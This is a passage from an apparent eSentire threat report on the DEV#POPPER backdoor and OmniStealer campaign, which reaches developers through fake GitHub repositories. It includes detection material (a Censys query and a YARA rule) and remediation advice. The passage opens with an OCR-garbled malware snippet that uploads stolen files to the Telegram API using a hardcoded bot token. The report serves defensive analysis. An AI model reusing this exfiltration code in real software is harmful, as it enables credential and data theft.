if E>5@:B(f"Error: file size overflow. Max size is 50 MB. Size: {E } MB");return H
F='7870147428:AAGbYG_eYkiAziCKRmkiQF-GnsGTic_3TTU! ;G= “https:/Hapi.telegram.orgfbut{fi/sendDocument"

with R(C,Ap)as I:
J={"'document':I};K={'chat_id':Ae};D=A7.post(G,data=K, files=])
if D.status_code==200:B('telegram upload succeed')
else:B(f"Failed to upload file. Status code: {D.status_code}, Response: {D.text}")

Figure 44 — Exfiltrate via Telegram
Censys Query

The following Censys query can be used to identify additional C2s:

host.services.endpoints.http.headers: (key = "Server" and value = "EmbedI0/3.5.2") and host.services.endpoints

Yara Rules

The following Yara rule can be used to detect the initial stager for DEV#POPPER. The remainder of stages

discussed herein are only resident in memory.

rule DEVPOPPER

{
meta:
author = "YungBinary"
strings:
$s1 = "global['_V']" ascii
$s2 = "typeof module=== 'object'" ascii
$s3 = "var a@n,adb,_global,ala;" ascii
$s4 = "function(){var rms=""" ascii
$s5 = "y*(x+360)+(y%32226);" ascii
$s6 = "wodstriuznuobanchgfcttycmrogrvelspkxj" ascii
condition:
filesize < 10KB and (3 of ($s*))
}

eSentire Utilities

The Node.js script DEV#STOPPER.js is available here and can be used by security researchers to deobfuscate
DEV#POPPER intermediary stages and final payloads like the DEV#POPPER RAT loader and DEV#POPPER
RAT itself.

What did we do?

e Our team of 24/7 SOC Cyber Analysts proactively isolated the affected host to contain the infection on the

customer's behalf.

e We communicated what happened with the customer and helped them with remediation efforts.
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What can you learn from this TRU Positive?

o Software Developers are prime targets for sophisticated supply chain attacks through weaponized GitHub
repositories. The APT distributes malware disguised as legitimate open-source projects - in this case,
"ShoeVista," a fake eCommerce platform.

o Simply cloning and running the application triggers a multi-stage attack chain (DEV#POPPER
backdoor -> OmniStealer infostealer) that steals credentials developers need daily: GitHub tokens,
SSH keys, AWS/Azure/GCP credentials, environment variables with API keys, and browser-stored
passwords/cookies.

o This grants threat actors access not just to your machine, but to your entire organization's
infrastructure, source code repositories, and production systems.

 Interpreted languages like Node.js and Python enable the APT to target a variety of operating systems.

e Security researchers can use the provided Node.js tooling to decrypt variants of DEV#POPPER without
relying on online deobfuscation tools that fail to produce a fully deobfuscated sample.

e Node.js deobfuscation is an incredibly complex task, often requiring multiple "passes" on code parsed into

an AST in order to simplify it further.

Recommendations from the Threat Response Unit (TRU)

e Block crypto-network APIs used by threat actors for payload staging.

o Software developers should assume any code from untrusted sources is hostile: verify repository
authenticity, audit code before execution, isolate development environments, use hardware wallets for
cryptocurrencies, store secrets in hardware security keys or password managers with strong 2FA, and never
store seed phrases on disk.

e Implement a Phishing and Security Awareness Training (PSAT)_program that educates your employees

using real-world scenarios.

 Partner with a 24/7 multi-signal Managed Detection and Response (MDR)_services provider for total attack

surface visibility, 24/7 threat hunting and disruption, and rapid threat response to prevent attackers from
spreading laterally through your environment.
o However, at the bare minimum, organizations should use a Next-Gen AV (NGAV) or Endpoint

Detection and Response (EDR) solution to detect and contain threats.

Indicators of Compromise

e Indicators of Compromise can be found here.

References

e https:/ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist-part-2/

e https://www.securonix.com/blog/analysis-of-devpopper-new-attack-campaign-targeting-software-

developers-likely-associated-with-north-korean-threat-actors/
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e Removed typo in Figure 2 (attack diagram) linking the C2 server to FAMOUS CHOLLIMA

o Added context indicating the JavaScript obfuscation was likely generated using Obfuscator.io.

To learn how your organization can build cyber resilience and prevent business disruption with eSentire’s Next

Level MDR, connect with an eSentire Security Specialist now.

GET STARTED

ABOUT ESENTIRE’S THREAT RESPONSE UNIT (TRU)

The eSentire Threat Response Unit (TRU) is an industry-leading threat research team committed to helping your

organization become more resilient. TRU is an elite team of threat hunters and researchers that supports our 24/7
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Security Operations Centers (SOCs), builds threat detection models across the eSentire XDR Cloud Platform, and
works as an extension of your security team to continuously improve our Managed Detection and Response
service. By providing complete visibility across your attack surface and performing global threat sweeps and

proactive hypothesis-driven threat hunts augmented by original threat research, we are laser-focused on defending

your organization against known and unknown threats.
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